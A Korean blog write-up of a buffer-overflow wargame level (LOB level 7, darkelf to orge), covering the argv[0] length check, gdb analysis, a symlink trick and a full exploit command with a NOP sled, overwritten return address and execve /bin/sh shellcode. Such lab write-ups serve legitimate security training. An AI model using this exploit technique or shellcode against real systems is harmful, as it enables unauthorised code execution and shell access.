ii4gsp

LOB - Level7 [darkelf -> orge] 본문

시스템 해킹/LOB

LOB - Level7 [darkelf -> orge]

ii4gsp 2020. 1. 15. 23:18

이전 문제에서 argv[0]이 77이 아니라면 에러문자와 함께 프로그램이 종료된다.

즉, 파일의 이름이 77이여야 한다.

 

 

 

 

gdb로 열기위해 /tmp/ 폴더에 저장을 해주자

파일명이 72글자인 이유는 앞의 경로 /tmp/의 글자를 -5 해준것이다.

gdb로 분석을해보자

 

 

 

 

strcpy() 함수가 호출되고 실행되는 명령인 <main+280> 부분에 break point를 걸어주자

 

 

 

 

48번째 바이트가 \xbf가 되도록 하고 argv[2]에 A를 100개 넣었다.

값을 확인해보자

 

 

 

 

0xbffffb64를 ret의 주소로 잡고 페이로드를 작성하였다.

 

 

 

 

ln -s orge $(python -c 'print "A" * 75') 명령어로 orge파일을 A * 75개의 이름으로 만들어주고

75인 이유는 ./AAAA......... 로 실행하기 때문에 ./ 두 글자를 77 - 2 해서 75이다.

 

 

payload

./$(python -c 'print "A" * 75') $(python -c 'print "\x90" * 44 + "\x64\xfb\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level9 [troll -> vampire]  (0) 2020.01.16
LOB - Level8 [orge -> troll]  (0) 2020.01.16
LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
LOB - Level5 [orc -> wolfman]  (0) 2020.01.14
LOB - Level4 [goblin -> orc]  (0) 2020.01.14
Comments